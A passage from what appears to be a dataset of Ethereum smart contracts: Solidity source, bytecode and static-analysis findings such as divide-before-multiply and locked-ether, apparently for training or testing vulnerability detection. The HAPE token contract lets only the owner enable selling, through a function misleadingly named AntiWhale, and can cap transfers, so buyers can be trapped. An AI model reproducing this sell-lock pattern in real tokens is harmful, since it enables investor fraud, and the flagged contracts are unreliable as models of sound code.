Unpause(); } // ************************************************************************ // return free Tokens // ************************************************************************ function freeBalance() public view returns (uint tokens) { return _released.sub(_allocated); } // ************************************************************************ // return released Tokens // ************************************************************************ function releasedBalance() public view returns (uint tokens) { return _released; } // ************************************************************************ // return allocated Tokens // ************************************************************************ function allocatedBalance() public view returns (uint tokens) { return _allocated; } // ************************************************************************ // calculate released Tokens by the owner // ************************************************************************ function calculateReleased() public onlyOwner returns (uint tokens) { require(now > _startTime); uint _monthDiff = (now.sub(_startTime)).div(30 days); if (_monthDiff >= 10 ) { _released = _locked; } else { _released = _monthDiff.mul(_locked.div(10)); } emit ReleasedTokens(_released); return _released; } // ************************************************************************ // called by the owner to alloc the released tokens // ************************************************************************ function allocateTokens(address to, uint tokens) public onlyOwner returns (bool success){ require(address(0) != to && 0 <= tokens && tokens <= _released.sub(_allocated)); balances[to] = balances[to].add(tokens); _allocated = _allocated.add(tokens); emit AllocateTokens(to, tokens); return true; } }
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610137578063095ea7b3146101c157806318160ddd146101f957806323b872dd1461022057806325185d3e1461024a578063313ce5671461025f5780633f4ba83a1461028a5780635c975abb146102a157806370a08231146102b657806379ba5097146102d75780638456cb59146102ec57806386ce0285146103015780638da5cb5b1461032557806395d89b41146103565780639ab4b22f1461036b578063a9059cbb14610380578063b545ddf5146103a4578063bcba6939146103b9578063cae9ca51146103dd578063d4ee1d9014610446578063dd62ed3e1461045b578063e53ecb7914610482578063f2fde38b14610497575b600080fd5b34801561014357600080fd5b5061014c6104b8565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018657818101518382015260200161016e565b50505050905090810190601f1680156101b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cd57600080fd5b506101e5600160a060020a0360043516602435610546565b604080519115158252519081900360200190f35b34801561020557600080fd5b5061020e6105ec565b60408051918252519081900360200190f35b34801561022c57600080fd5b506101e5600160a060020a036004358116906024351660443561062f565b34801561025657600080fd5b5061020e6107cb565b34801561026b57600080fd5b506102746107e4565b6040805160ff9092168252519081900360200190f35b34801561029657600080fd5b5061029f6107ed565b005b3480156102ad57600080fd5b506101e5610865565b3480156102c257600080fd5b5061020e600160a060020a0360043516610875565b3480156102e357600080fd5b5061029f610890565b3480156102f857600080fd5b5061029f610918565b34801561030d57600080fd5b506101e5600160a060020a0360043516602435610995565b34801561033157600080fd5b5061033a610a96565b60408051600160a060020a039092168252519081900360200190f35b34801561036257600080fd5b5061014c610aa5565b34801561037757600080fd5b5061020e610afd565b34801561038c57600080fd5b506101e5600160a060020a0360043516602435610b03565b3480156103b057600080fd5b5061020e610c0c565b3480156103c557600080fd5b506101e5600160a060020a0360043516602435610cd7565b3480156103e957600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101e5948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610d929650505050505050565b34801561045257600080fd5b5061033a610f0e565b34801561046757600080fd5b5061020e600160a060020a0360043581169060243516610f1d565b34801561048e57600080fd5b5061020e610f48565b3480156104a357600080fd5b5061029f600160a060020a0360043516610f4e565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561053e5780601f106105135761010080835404028352916020019161053e565b820191906000526020600020905b81548152906001019060200180831161052157829003601f168201915b505050505081565b60015460009060a060020a900460ff161561056057600080fd5b600160a060020a03831615801590610579575081600011155b151561058457600080fd5b336000818152600c60209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b6000808052600b6020527fdf7de25b7f1fd6d0b5205f0e18f1f35bd7b8d84cce336588d184533ce43a6f765460055461062a9163ffffffff610f9416565b905090565b60015460009060a060020a900460ff161561064957600080fd5b600160a060020a038316158015906106795750600160a060020a0384166000908152600b60205260409020548211155b80156106a85750600160a060020a0384166000908152600c602090815260408083203384529091529020548211155b80156106b5575081600011155b15156106c057600080fd5b600160a060020a0384166000908152600b60205260409020546106e9908363ffffffff610f9416565b600160a060020a0385166000908152600b6020908152604080832093909355600c815282822033835290522054610726908363ffffffff610f9416565b600160a060020a038086166000908152600c602090815260408083203384528252808320949094559186168152600b909152205461076a908363ffffffff610fa616565b600160a060020a038085166000818152600b602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b600061062a600954600854610f9490919063ffffffff16565b60045460ff1681565b600054600160a060020a0316331461080457600080fd5b60015460a060020a900460ff16151561081c57600080fd5b6001805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60015460a060020a900460ff1681565b600160a060020a03166000908152600b602052604090205490565b600154600160a060020a031633146108a757600080fd5b60015460008054604051600160a060020a0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600054600160a060020a0316331461092f57600080fd5b60015460a060020a900460ff161561094657600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b60008054600160a060020a031633146109ad57600080fd5b600160a060020a038316158015906109c6575081600011155b80156109e657506009546008546109e29163ffffffff610f9416565b8211155b15156109f157600080fd5b600160a060020a0383166000908152600b6020526040902054610a1a908363ffffffff610fa616565b600160a060020a0384166000908152600b6020526040902055600954610a46908363ffffffff610fa616565b60095560408051600160a060020a03851681526020810184905281517f24d8acf07fc9a42380cbee3018a159ff346db32b9c2e04179de20b211520d2a1929181900390910190a150600192915050565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f8101849004840282018401909252818152929183018282801561053e5780601f106105135761010080835404028352916020019161053e565b60085490565b60015460009060a060020a900460ff1615610b1d57600080fd5b600160a060020a03831615801590610b445750336000908152600b60205260409020548211155b8015610b51575081600011155b1515610b5c57600080fd5b336000908152600b6020526040902054610b7c908363ffffffff610f9416565b336000908152600b602052604080822092909255600160a060020a03851681522054610bae908363ffffffff610fa616565b600160a060020a0384166000818152600b60209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600080548190600160a060020a03163314610c2657600080fd5b600a544211610c3457600080fd5b610c5c62278d00610c50600a5442610f9490919063ffffffff16565b9063ffffffff610fb316565b9050600a8110610c7157600754600855610c9a565b600754610c9690610c8990600a63ffffffff610fb316565b829063ffffffff610fc816565b6008555b60085460408051918252517f6f9faab871acc8bc5325ea3f7cef96cfd102850801ffc7aba74e925fe75ed93c9181900360200190a1505060085490565b60008054600160a060020a03163314610cef57600080fd5b60008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810186905290519186169263a9059cbb926044808401936020939083900390910190829087803b158015610d5f57600080fd5b505af1158015610d73573d6000803e3d6000fd5b505050506040513d6020811015610d8957600080fd5b50519392505050565b60015460009060a060020a900460ff1615610dac57600080fd5b336000818152600c60209081526040808320600160a060020a03891680855290835292819020879055805187815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a36040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018690523060448401819052608060648501908152865160848601528651600160a060020a038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610e9d578181015183820152602001610e85565b50505050905090810190601f168015610eca5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610eec57600080fd5b505af1158015610f00573d6000803e3d6000fd5b506001979650505050505050565b600154600160a060020a031681565b600160a060020a039182166000908152600c6020908152604080832093909416825291909152205490565b60095490565b600054600160a060020a03163314610f6557600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610fa057fe5b50900390565b818101828110156105e657fe5b60008183811515610fc057fe5b049392505050565b6000821515610fd9575060006105e6565b50818102818382811515610fe957fe5b04146105e657fe00a165627a7a72305820decd73c693444aedfec79fefdec165dcfaba213e2f9f5e43701d860b0a58d8730029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
1,310
0x9d2ef3375158493a553b14f130fe5ee5e98097b7
pragma solidity ^0.8.9; // SPDX-License-Identifier: MIT interface ERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface ERC20Metadata is ERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _setOwner(msg.sender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IpancakePair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IpancakeRouter01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IpancakeRouter02 is IpancakeRouter01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } // Bep20 standards for token creation by bloctechsolutions.com contract HAPE is Context, ERC20, ERC20Metadata, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromMaxTx; IpancakeRouter02 public pancakeRouter; address public pancakePair; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; bool public _sellingOpen = false; //once switched on, can never be switched off. uint256 public _maxTxAmount; constructor() { _name = "Happy Apes"; _symbol = "HAPE"; _decimals = 18; _totalSupply = 1000000000000 * 1e18; _balances[owner()] = _totalSupply; _maxTxAmount = _totalSupply.mul(1).div(100); IpancakeRouter02 _pancakeRouter = IpancakeRouter02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D // UniswapV2Router02 ); // Create a uniswap pair for this new token pancakePair = IUniswapV2Factory(_pancakeRouter.factory()).createPair( address(this), _pancakeRouter.WETH() ); // set the rest of the contract variables pancakeRouter = _pancakeRouter; // exclude from max tx _isExcludedFromMaxTx[owner()] = true; _isExcludedFromMaxTx[address(this)] = true; emit Transfer(address(0), owner(), _totalSupply); } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function AntiWhale() external onlyOwner { _sellingOpen = true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "WE: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function setExcludeFromMaxTx(address _address, bool value) public onlyOwner { _isExcludedFromMaxTx[_address] = value; } // for 1% input 1 function setMaxTxPercent(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = _totalSupply.mul(maxTxAmount).div(100); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "WE: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "WE: transfer from the zero address"); require(recipient != address(0), "WE: transfer to the zero address"); require(amount > 0, "WE: Transfer amount must be greater than zero"); if(_isExcludedFromMaxTx[sender] == false && _isExcludedFromMaxTx[recipient] == false // by default false ){ require(amount <= _maxTxAmount,"amount exceed max limit"); if (!_sellingOpen && sender != owner() && recipient != owner()) { require(recipient != pancakePair, " WE:Selling is not enabled"); } } _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "WE: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806376474949116100b8578063a9059cbb1161007c578063a9059cbb1461026e578063b8c9d25c14610281578063c21ebd0714610294578063d543dbeb146102a7578063dd62ed3e146102ba578063f2fde38b146102f357600080fd5b806376474949146102185780637d1db4a5146102255780638da5cb5b1461022e57806395d89b4114610253578063a457c2d71461025b57600080fd5b806339509351116100ff57806339509351146101b75780635b89029c146101ca5780636adeb40d146101df57806370a08231146101e7578063715018a61461021057600080fd5b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461017d57806323b872dd1461018f578063313ce567146101a2575b600080fd5b610144610306565b6040516101519190610cc5565b60405180910390f35b61016d610168366004610d36565b610398565b6040519015158152602001610151565b6009545b604051908152602001610151565b61016d61019d366004610d60565b6103af565b60085460405160ff9091168152602001610151565b61016d6101c5366004610d36565b61045b565b6101dd6101d8366004610d9c565b610497565b005b6101dd6104ec565b6101816101f5366004610dd8565b6001600160a01b031660009081526001602052604090205490565b6101dd610525565b600a5461016d9060ff1681565b610181600b5481565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610151565b61014461055b565b61016d610269366004610d36565b61056a565b61016d61027c366004610d36565b610600565b60055461023b906001600160a01b031681565b60045461023b906001600160a01b031681565b6101dd6102b5366004610df3565b61060d565b6101816102c8366004610e0c565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101dd610301366004610dd8565b61065d565b60606006805461031590610e3f565b80601f016020809104026020016040519081016040528092919081815260200182805461034190610e3f565b801561038e5780601f106103635761010080835404028352916020019161038e565b820191906000526020600020905b81548152906001019060200180831161037157829003601f168201915b5050505050905090565b60006103a53384846107c0565b5060015b92915050565b60006103bc8484846108e4565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156104435760405162461bcd60e51b815260206004820152602560248201527f57453a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b60648201526084015b60405180910390fd5b61045085338584036107c0565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916103a5918590610492908690610e90565b6107c0565b6000546001600160a01b031633146104c15760405162461bcd60e51b815260040161043a90610ea8565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146105165760405162461bcd60e51b815260040161043a90610ea8565b600a805460ff19166001179055565b6000546001600160a01b0316331461054f5760405162461bcd60e51b815260040161043a90610ea8565b6105596000610c3e565b565b60606007805461031590610e3f565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156105e95760405162461bcd60e51b815260206004820152602260248201527f57453a2064656372656173656420616c6c6f77616e63652062656c6f77207a65604482015261726f60f01b606482015260840161043a565b6105f633858584036107c0565b5060019392505050565b60006103a53384846108e4565b6000546001600160a01b031633146106375760405162461bcd60e51b815260040161043a90610ea8565b6106576064610651836009546106f890919063ffffffff16565b9061077e565b600b5550565b6000546001600160a01b031633146106875760405162461bcd60e51b815260040161043a90610ea8565b6001600160a01b0381166106ec5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161043a565b6106f581610c3e565b50565b600082610707575060006103a9565b60006107138385610edd565b9050826107208583610efc565b146107775760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043a565b9392505050565b600061077783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c8e565b6001600160a01b0383166108225760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043a565b6001600160a01b0382166108835760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109455760405162461bcd60e51b815260206004820152602260248201527f57453a207472616e736665722066726f6d20746865207a65726f206164647265604482015261737360f01b606482015260840161043a565b6001600160a01b03821661099b5760405162461bcd60e51b815260206004820181905260248201527f57453a207472616e7366657220746f20746865207a65726f2061646472657373604482015260640161043a565b60008111610a015760405162461bcd60e51b815260206004820152602d60248201527f57453a205472616e7366657220616d6f756e74206d757374206265206772656160448201526c746572207468616e207a65726f60981b606482015260840161043a565b6001600160a01b03831660009081526003602052604090205460ff16158015610a4357506001600160a01b03821660009081526003602052604090205460ff16155b15610b3857600b54811115610a9a5760405162461bcd60e51b815260206004820152601760248201527f616d6f756e7420657863656564206d6178206c696d6974000000000000000000604482015260640161043a565b600a5460ff16158015610abb57506000546001600160a01b03848116911614155b8015610ad557506000546001600160a01b03838116911614155b15610b38576005546001600160a01b0383811691161415610b385760405162461bcd60e51b815260206004820152601a60248201527f2057453a53656c6c696e67206973206e6f7420656e61626c6564000000000000604482015260640161043a565b6001600160a01b03831660009081526001602052604090205481811015610bad5760405162461bcd60e51b815260206004820152602360248201527f57453a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b606482015260840161043a565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610be4908490610e90565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c3091815260200190565b60405180910390a350505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008183610caf5760405162461bcd60e51b815260040161043a9190610cc5565b506000610cbc8486610efc565b95945050505050565b600060208083528351808285015260005b81811015610cf257858101830151858201604001528201610cd6565b81811115610d04576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d3157600080fd5b919050565b60008060408385031215610d4957600080fd5b610d5283610d1a565b946020939093013593505050565b600080600060608486031215610d7557600080fd5b610d7e84610d1a565b9250610d8c60208501610d1a565b9150604084013590509250925092565b60008060408385031215610daf57600080fd5b610db883610d1a565b915060208301358015158114610dcd57600080fd5b809150509250929050565b600060208284031215610dea57600080fd5b61077782610d1a565b600060208284031215610e0557600080fd5b5035919050565b60008060408385031215610e1f57600080fd5b610e2883610d1a565b9150610e3660208401610d1a565b90509250929050565b600181811c90821680610e5357607f821691505b60208210811415610e7457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610ea357610ea3610e7a565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000816000190483118215151615610ef757610ef7610e7a565b500290565b600082610f1957634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212201a491fa386d402f2c88c6d9718cfcdf502c48422d96eb8ffed33291ce971db1264736f6c63430008090033
{"success": true, "error": null, "results": {}}
1,311
0x1DC4b451DFcD0e848881eDE8c7A99978F00b1342
// SPDX-License-Identifier: AGPL-3.0 // // Copyright 2017 Christian Reitwiessner // Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // // 2019 OKIMS // ported to solidity 0.6 // fixed linter warnings // added requiere error messages // // // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.11; library Pairing { struct G1Point { uint X; uint Y; } // Encoding of field elements is: X[0] * z + X[1] struct G2Point { uint[2] X; uint[2] Y; } /// @return the generator of G1 function P1() internal pure returns (G1Point memory) { return G1Point(1, 2); } /// @return the generator of G2 function P2() internal pure returns (G2Point memory) { // Original code point return G2Point( [11559732032986387107991004021392285783925812861821192530917403151452391805634, 10857046999023057135944570762232829481370756359578518086990519993285655852781], [4082367875863433681332203403145435568316851327593401208105741076214120093531, 8495653923123431417604973247489272438418190587263600148770280649306958101930] ); /* // Changed by Jordi point return G2Point( [10857046999023057135944570762232829481370756359578518086990519993285655852781, 11559732032986387107991004021392285783925812861821192530917403151452391805634], [8495653923123431417604973247489272438418190587263600148770280649306958101930, 4082367875863433681332203403145435568316851327593401208105741076214120093531] ); */ } /// @return r the negation of p, i.e. p.addition(p.negate()) should be zero. function negate(G1Point memory p) internal pure returns (G1Point memory r) { // The prime q in the base field F_q for G1 uint q = 21888242871839275222246405745257275088696311157297823662689037894645226208583; if (p.X == 0 && p.Y == 0) return G1Point(0, 0); return G1Point(p.X, q - (p.Y % q)); } /// @return r the sum of two points of G1 function addition(G1Point memory p1, G1Point memory p2) internal view returns (G1Point memory r) { uint[4] memory input; input[0] = p1.X; input[1] = p1.Y; input[2] = p2.X; input[3] = p2.Y; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 6, input, 0xc0, r, 0x60) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require(success,"pairing-add-failed"); } /// @return r the product of a point on G1 and a 